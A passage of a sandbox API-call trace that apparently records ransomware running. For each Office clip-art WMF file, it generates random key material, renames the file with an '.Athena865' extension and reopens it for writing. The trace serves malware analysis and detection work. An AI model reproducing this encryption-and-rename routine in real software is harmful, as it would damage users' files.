CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.734] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.734] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00448_.WMF" | out: lpString1="DD00448_.WMF") returned="DD00448_.WMF" [0122.734] lstrlenW (lpString="DD00448_.WMF") returned 12 [0122.734] lstrlenW (lpString="Athena865") returned 9 [0122.734] lstrcmpiW (lpString1="0448_.WMF", lpString2="Athena865") returned -1 [0122.734] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.Athena865") returned 73 [0122.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.737] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2952) returned 1 [0122.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.737] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.738] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.738] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.740] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.740] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.740] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.741] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00449_.WMF" | out: lpString1="DD00449_.WMF") returned="DD00449_.WMF" [0122.741] lstrlenW (lpString="DD00449_.WMF") returned 12 [0122.741] lstrlenW (lpString="Athena865") returned 9 [0122.741] lstrcmpiW (lpString1="0449_.WMF", lpString2="Athena865") returned -1 [0122.741] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.Athena865") returned 73 [0122.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.742] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9992) returned 1 [0122.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.743] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.743] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.743] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.745] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.746] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.746] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.747] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00687_.WMF" | out: lpString1="DD00687_.WMF") returned="DD00687_.WMF" [0122.747] lstrlenW (lpString="DD00687_.WMF") returned 12 [0122.747] lstrlenW (lpString="Athena865") returned 9 [0122.747] lstrcmpiW (lpString1="0687_.WMF", lpString2="Athena865") returned -1 [0122.747] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.Athena865") returned 73 [0122.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.748] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20784) returned 1 [0122.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.748] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.749] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.749] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.752] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.752] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.752] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.753] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00705_.WMF" | out: lpString1="DD00705_.WMF") returned="DD00705_.WMF" [0122.753] lstrlenW (lpString="DD00705_.WMF") returned 12 [0122.753] lstrlenW (lpString="Athena865") returned 9 [0122.753] lstrcmpiW (lpString1="0705_.WMF", lpString2="Athena865") returned -1 [0122.753] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.Athena865") returned 73 [0122.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.754] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24588) returned 1 [0122.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.755] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.755] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.755] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.758] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.759] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.759] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.760] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01015_.WMF" | out: lpString1="DD01015_.WMF") returned="DD01015_.WMF" [0122.760] lstrlenW (lpString="DD01015_.WMF") returned 12 [0122.760] lstrlenW (lpString="Athena865") returned 9 [0122.760] lstrcmpiW (lpString1="1015_.WMF", lpString2="Athena865") returned -1 [0122.760] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.Athena865") returned 73 [0122.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.761] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2226) returned 1 [0122.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.761] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.762] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.762] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.764] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.765] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.765] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.765] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01039_.WMF" | out: lpString1="DD01039_.WMF") returned="DD01039_.WMF" [0122.765] lstrlenW (lpString="DD01039_.WMF") returned 12 [0122.765] lstrlenW (lpString="Athena865") returned 9 [0122.765] lstrcmpiW (lpString1="1039_.WMF", lpString2="Athena865") returned -1 [0122.765] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.Athena865") returned 73 [0122.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.766] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14820) returned 1 [0122.766] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.767] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.767] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.767] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.770] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.771] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.771] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.772] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01138_.WMF" | out: lpString1="DD01138_.WMF") returned="DD01138_.WMF" [0122.772] lstrlenW (lpString="DD01138_.WMF") returned 12 [0122.772] lstrlenW (lpString="Athena865") returned 9 [0122.772] lstrcmpiW (lpString1="1138_.WMF", lpString2="Athena865") returned -1 [0122.772] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.Athena865") returned 73 [0122.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.773] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3692) returned 1 [0122.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.773] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.774] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.774] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.776] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.777] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.777] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.777] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01139_.WMF" | out: lpString1="DD01139_.WMF") returned="DD01139_.WMF" [0122.777] lstrlenW (lpString="DD01139_.WMF") returned 12 [0122.777] lstrlenW (lpString="Athena865") returned 9 [0122.777] lstrcmpiW (lpString1="1139_.WMF", lpString2="Athena865") returned -1 [0122.777] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.Athena865") returned 73 [0122.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.781] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3632) returned 1 [0122.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.781] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.782] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.782] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.784] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.785] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.785] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.785] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01140_.WMF" | out: lpString1="DD01140_.WMF") returned="DD01140_.WMF" [0122.785] lstrlenW (lpString="DD01140_.WMF") returned 12 [0122.785] lstrlenW (lpString="Athena865") returned 9 [0122.785] lstrcmpiW (lpString1="1140_.WMF", lpString2="Athena865") returned -1 [0122.786] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.Athena865") returned 73 [0122.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.787] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3616) returned 1 [0122.787] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.788] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.788] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.792] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.793] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.793] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.793] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01143_.WMF" | out: lpString1="DD01143_.WMF") returned="DD01143_.WMF" [0122.793] lstrlenW (lpString="DD01143_.WMF") returned 12 [0122.793] lstrlenW (lpString="Athena865") returned 9 [0122.793] lstrcmpiW (lpString1="1143_.WMF", lpString2="Athena865") returned -1 [0122.794] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.Athena865") returned 73 [0122.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.795] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2140) returned 1 [0122.795] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.795] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.795] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.798] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.798] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.798] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.799] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01145_.WMF" | out: lpString1="DD01145_.WMF") returned="DD01145_.WMF" [0122.799] lstrlenW (lpString="DD01145_.WMF") returned 12 [0122.799] lstrlenW (lpString="Athena865") returned 9 [0122.799] lstrcmpiW (lpString1="1145_.WMF", lpString2="Athena865") returned -1 [0122.799] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.Athena865") returned 73 [0122.799] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.800] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2780) returned 1 [0122.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.801] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.801] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.803] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.804] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.804] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.804] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01146_.WMF" | out: lpString1="DD01146_.WMF") returned="DD01146_.WMF" [0122.804] lstrlenW (lpString="DD01146_.WMF") returned 12 [0122.804] lstrlenW (lpString="Athena865") returned 9 [0122.804] lstrcmpiW (lpString1="1146_.WMF", lpString2="Athena865") returned -1 [0122.804] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.Athena865") returned 73 [0122.804] MoveFileExW 